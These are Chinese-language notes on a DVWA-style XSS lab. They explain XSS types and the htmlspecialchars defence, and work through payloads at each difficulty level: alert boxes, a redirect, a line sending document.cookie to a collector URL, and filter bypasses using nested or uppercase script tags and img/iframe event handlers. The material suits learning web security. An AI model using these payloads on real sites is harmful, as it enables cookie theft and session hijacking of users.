XSS(Cross Site Script)
跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
常见的输出函数有: echo printf print print_r sprintf die var-dump var_export
XSS分类:
- 反射型XSS:<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
- 存储型XSS:<持久化> 代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。
- DOM型XSS:基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。
LOW:
没有对用户输入的数据做任何处理,直接输出
在表单提交 <script>alert('反射型XSS')</script>
获取cookie <script>alert(document.cookie)</script>
跳转页面
<script>location='https://www.baidu.com'</script>
<script>document.location='http://127.0.0.1/test.php?cookie='+document.cookie</script>
执行后无输出???
为啥没有cookie.txt??
Med:
同样提交用例进行测试,发现script参数被过滤掉
str_replace() 函数替换字符串中的一些字符(区分大小写),此处会检查 name 参数中是否有 “< script >”,如果有则替换为空。
使用两层嵌套
<script<script>>alert('XSS')</script>
大写绕过
<SCRIPT>alert('hack')</SCRIPT>
high:
使用了preg_replace正则表达式函数将对<script>标签进行了严格的过滤,将*s*c*r*i*p*t 给过滤了,* 代表一个或多个任意字符,i 代表不区分大小写。但没有过滤别的标签,此时可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码
可以通过img、body等标签事件或者iframe等标签src注入恶意的JavaScript代码
HTML 的 < img > 标签定义 HTML 页面中的图像,该标签支持 onerror 事件,在装载文档或图像的过程中如果发生了错误就会触发。使用这些内容构造出 payload 如下,因为我们没有图片可供载入,因此会出错从而触发 onerror 事件输出 cookie。
<img src=1 οnerrοr=alert('hack')>
上面输入的意思是当图片显示错误时,然后执行alert('hack') ,这里src=1肯定显示错误,所以就执行alert语句
<iframe οnlοad=alert(1)> <iframe src=javascript:alert('xss');height=0 width=0 /><iframe>
impossible:
htmlspecialchars(string): 把预定义的字符 "<" 、 ">" 、& 、‘’、“” 转换为 HTML 实体,防止浏览器将其作为HTML元素
什么是HTML实体?
1、 在 HTML 中,某些字符是预留的。
2、在 HTML 中不能使用小于号(<)和大于号(>),这是因为浏览器会误认为它们是标签,当然在HTML中还有其他实体
3、如果希望正确地显示预留字符,我们必须在HTML源代码中使用字符实体(character entities)。
4、如需显示小于号,我们必须这样写:< 或 <使用实体名而不是数字的好处是,名称易于记忆。不过坏处是,浏览器也许并不支持所有实体名称
可以看出,impossible级别的代码先判断name是否为空,不为空的话然后验证其token,来防范CSRF攻击。然后再用htmlspecialchars函数将name中的预定义字符转换成html实体,这样就防止了我们填入标签
当我们输入 <script>alert('hack')</script> 时,因为 htmlspecialchars 函数会将 < 和 > 转换成html实体,并且${name}取的是$name的值,然后包围在<pre></pre>标签中被打印出来,所以我们插入的语句并不会被执行。